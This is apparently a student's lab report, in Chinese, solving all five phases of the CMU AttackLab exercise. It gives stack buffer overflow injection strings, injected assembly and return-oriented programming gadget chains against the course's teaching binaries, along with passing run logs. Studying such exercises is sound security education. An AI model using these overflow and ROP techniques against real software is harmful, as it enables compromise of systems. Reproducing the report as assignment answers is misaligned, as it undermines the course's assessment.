AttackLab 实验报告

罗思佳2021201679

Part I: Code Injection Attacks

Phase 1

1.分析

CMU的实验指导里给出了`test`函数的c代码

```
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
```

题目要求通过代码注入的方式使`getbuf`结束后不回到`test`函数中，而是返回到`touch1`函数。

`touch1`函数的c代码

```
1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
```

`getbuf`的反汇编代码:

```
000000000040181e <getbuf>:
  40181e:   48 83 ec 38             sub    $0x38,%rsp
  401822:   48 89 e7                mov    %rsp,%rdi
  401825:   e8 30 02 00 00          callq  401a5a <Gets>
  40182a:   b8 01 00 00 00          mov    $0x1,%eax
  40182f:   48 83 c4 38             add    $0x38,%rsp
  401833:   c3                      retq
```

分配了`0x38`也就是56字节的栈帧，将栈顶作为参数调用`Gets`函数输入字符串。只需要将返回地址改为`touch1`的地址即可。`touch1`的地址为`0x401834`。

2.攻击方法

前56字节输入任意字符（比如0），最后输入`touch1`地址，注意是小端存储，需要倒过来输。

攻击串

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
34 18 40 00 00 00 00 00
```

攻击结果

```
[2021201679@work122 target59]$ cat ans1.txt | ./hex2raw | ./ctarget
Cookie: 0x7e1ed939
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase2

1.分析

需要调用`touch2`函数

```
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
```

由`touch2`函数可知，不仅需要调用`touch2`，还需要传入的参数`val`等于`cookie`。

思路:

开头输入注入的代码，在`getbuf`的返回地址处修改为注入代码的地址，这样会跳转到代码块并执行，执行后再返回到`touch2`的地址。

我的`cookie`为`0x7e1ed939`,找到`touch2`地址为`0x401860`，需要注入的代码为

```
mov    $0x7e1ed939,%rdi
pushq  $0x401860
retq
```

还需要知道这段代码的地址也就是`getbuf`的栈顶指针的位置，通过`gdb`调试得知`getbuf`的`rsp`为`0x55676408`,因此输入的攻击串前面是注入代码，后面是代码地址`0x55676408`

2.攻击方法

先将要注入的代码保存在.s文件中，然后输入如下命令

```
gcc -c phase2.s
objdump -d phase2.o > phase2.d
```

得到

```
phase2.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 39 d9 1e 7e    mov    $0x7e1ed939,%rdi
   7:   68 60 18 40 00          pushq  $0x401860
   c:   c3                      retq
```

将这段代码放在攻击串的开头，最后放代码的地址

得到的攻击串为

```
48 c7 c7 39 d9 1e 7e 68
60 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
08 64 67 55 00 00 00 00
```

攻击结果：

```
[2021201679@work122 target59]$ cat ans2.txt | ./hex2raw | ./ctarget
Cookie: 0x7e1ed939
Type string:Touch2!: You called touch2(0x7e1ed939)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase3

1. 分析

`hexmatch`的代码

```
/* Compare string to hex represention of unsigned value */
 int hexmatch(unsigned val, char *sval)
 {
 char cbuf[110];
 /* Make position of check string unpredictable */
 char *s = cbuf + random() % 100;  // s的位置是随机的
 sprintf(s, "%.8x", val);
 return strncmp(sval, s, 9) == 0;
 }
```

`touch3`的c代码

```
void touch3(char *sval)
 {
 vlevel = 3; /* Part of validation protocol */
 if (hexmatch(cookie, sval)) {
 printf("Touch3!: You called touch3(\"%s\")\n", sval);
 validate(3);
 } else {
 printf("Misfire: You called touch3(\"%s\")\n", sval);
 fail(3);
 }
 exit(0);
 }
```

分析可知需要把`cookie`转换成字符串作为参数传进去，其他与上一关相似。为防止`cookie`被覆盖，可以将`cookie`存在`test`的栈中。

通过gdb调试可知`test`函数的`rsp`为`0x55676448`。`touch3`的地址为`0x401934`

注入的代码

```
movq $0x55676448,%rdi
pushq $0x401934
retq
```

字节级表示

```
phase3.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 48 64 67 55    mov    $0x55676448,%rdi
   7:   68 34 19 40 00          pushq  $0x401934
   c:   c3                      retq
```

和上题一样，注入代码的地址为`0x55676408`。

2.攻击方法

先将注入的代码放在输入的攻击串的开头，然后在返回地址处放注入代码的地址，再放`cookie`的字符串。`cookie`为`0x7e1ed939`，对应的字符串为`37 65 31 65 64 39 33 39`。

攻击串

```
48 c7 c7 48 64 67 55 68
34 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
08 64 67 55 00 00 00 00
37 65 31 65 64 39 33 39
```

攻击结果

```
[2021201679@work122 target59]$ cat ans3.txt | ./hex2raw | ./ctarget
Cookie: 0x7e1ed939
Type string:Touch3!: You called touch3("7e1ed939")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Part II: Return-Oriented Programming

`rtarget`采用了栈随机化和限制可执行代码区域这两种策略，因此需要在已存在的程序中找到特定的以`ret`结尾的指令，把它们的地址压入栈中，形成一个程序链。

文档提示了`gadget farm`由`start_farm`和`end_farm`划分，不要尝试从其他部分构造`gadget`。

Phase 4

1.分析

任务和`phase2`相同，要返回到`touch2`函数，`phase2`中的注入代码为

```
mov    $0x7e1ed939,%rdi
pushq  $0x401860
retq
```

因为`gadget_farm`中没有这样特殊的`gadget`，所以需要构造其他的代码达到这样的效果。

可以将`cookie`放在栈中，然后用`pop %rdi`进行参数的赋值，但是`gadget_farm`中找不到这条指令，于是考虑先放在`%rax`中，再将`%rax`赋值给`%rdi`。

```
popq %rax # gadget1
ret

movq %rax, %rdi # gadget2
ret
```

整体思路

`getbuf` 执行结束后返回到 `gadget1` 的地址，执行，将 `cookie` 弹出并复制到 `%rax`，然后 `ret`，弹出返回地址，跳到 `gadget2` 的地址，执行，将 `cookie` 赋值给 `%rdi`，然后 `ret`，弹出返回地址，跳到 `touch2` 的地址。

2.攻击方法

根据文档提供的对照表可知，`pop %rax` 为 `58`，找到下面这段代码，因此 `gadget1` 地址为 `0x4019e1`。

```
00000000004019de <addval_325>:
  4019de:   8d 87 54 58 90 c3       lea    -0x3c6fa7ac(%rdi),%eax
  4019e4:   c3
```

`movq %rax,%rdi` 为 `48 89 c7`，找到下面这段代码，因此 `gadget2` 地址为 `0x4019e7`。

```
00000000004019e5 <setval_203>:
  4019e5:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019eb:   c3
```

由此可得

攻击串

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e1 19 40 00 00 00 00 00
39 d9 1e 7e 00 00 00 00
e7 19 40 00 00 00 00 00
60 18 40 00 00 00 00 00
```

攻击结果

```
[2021201679@work122 target59]$ cat ans4.txt | ./hex2raw | ./rtarget
Cookie: 0x7e1ed939
Type string:Touch2!: You called touch2(0x7e1ed939)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase5

1.分析

任务和 `touch3` 相同，要返回到 `touch3` 函数，`phase3` 中的注入代码为

```
movq $0x55676448,%rdi
pushq $0x401934
retq
```

因为在这一关里栈的位置是随机的，所以不能直接指定把`cookie`放在栈中的某个位置。既然不能指定地址，那就用偏移量来实现，可以先获取代码中`%rsp`的地址，然后根据偏移量确定`cookie`的地址。

思路

首先得取栈顶的地址，可以用`movq %rsp, %rdi`，但是没有找到，所以需要其他寄存器中转。在表和`gadget_farm`中找到了`movq %rsp, %rax`的机器代码`48 89 e0`，地址为`0x401ab3`；然后找到了`movq %rax, %rdi`的机器代码`48 89 c7`，地址为`0x4019e7`；

然后需要取偏移量，用`popq %rax`，弹出偏移量。

之后需要计算利用`rsp`和偏移量来计算`cookie`的地址，计算的指令是`lea (%rdi,%rsi,1), %rax`，刚好能找到，在这之前还需要将`%rax`里的偏移量转移到`%rsi`里，通过查表和`gadget_farm`，找到了3个`movl`操作能实现这一目的。

然后是将`%rax`里的`cookie`地址传到`%rdi`里作为参数，用`movq %rax,%rdi`。再放`touch3`的地址，后面跟着放`cookie`的字符串。

因为`cookie`前面需要放10个地址，`getbuf`返回后`rsp`增加了8，所以偏移量为`8*9 == 72`即`0x48`。

全部代码如下

```
movq %rsp, %rax  # 0x401ab3
ret

movq %rax, %rdi  # 0x4019e7
ret

popq %rax        # 0x4019e1
ret

movl %eax, %edx  # 0x401a2e
ret

movl %edx, %ecx  # 0x401a7a
ret

movl %ecx, %esi  # 0x401ace
ret

lea (%rdi,%rsi,1), %rax # 0x401a00
ret

movq %rax, %rdi # 0x4019e7
ret
```

2.攻击方法

攻击串

前面56字节用0填充，然后写上面分析的序列。

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
```

```
00 00 00 00 00 00 00 00
b3 1a 40 00 00 00 00 00
e7 19 40 00 00 00 00 00
e1 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
2e 1a 40 00 00 00 00 00
7a 1a 40 00 00 00 00 00
ce 1a 40 00 00 00 00 00
00 1a 40 00 00 00 00 00
e7 19 40 00 00 00 00 00
34 19 40 00 00 00 00 00
37 65 31 65 64 39 33 39
```

攻击结果

```
[2021201679@work122 target59]$ cat ans5.txt | ./hex2raw | ./rtarget
Cookie: 0x7e1ed939
Type string:Touch3!: You called touch3("7e1ed939")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

全部通关!